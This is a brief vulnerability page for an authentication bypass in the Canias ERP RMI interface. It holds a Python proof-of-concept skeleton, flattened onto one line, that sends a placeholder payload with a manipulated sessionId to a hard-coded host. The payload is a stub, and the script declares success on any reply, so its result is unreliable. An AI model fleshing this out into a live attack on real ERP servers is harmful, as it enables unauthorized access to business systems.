CVE-2026-8214 Canias ERP RMI接口认证绕过漏洞

import socket import struct # This is a conceptual PoC for demonstrating the sessionId manipulation logic. # Real RMI exploitation requires handling Java Serialization protocols. def send_rmi_exploit(host, port): try: # 1. Connect to the RMI service port (usually 1099) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print(f"[*] Connected to {host}:{port}") # 2. Construct the malicious payload targeting 'doAction' # In a real scenario, this involves crafting JRMP protocol stream # with a manipulated 'sessionId' argument. # Placeholder for the RMI protocol header and call data # We simulate passing a malicious sessionId like 'admin' or NULL payload = b"RMI_PROTOCOL_HEADER" + b"doAction" + b"malicious_sessionId" # 3. Send payload s.send(payload) print("[*] Sending malicious payload with manipulated sessionId...") # 4. Receive response response = s.recv(1024) if response: print("[+] Exploit successful! Received response:") print(response) else: print("[-] No response received.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() # Configuration target_host = "192.168.1.100" target_port = 1099 # Execute send_rmi_exploit(target_host, target_port)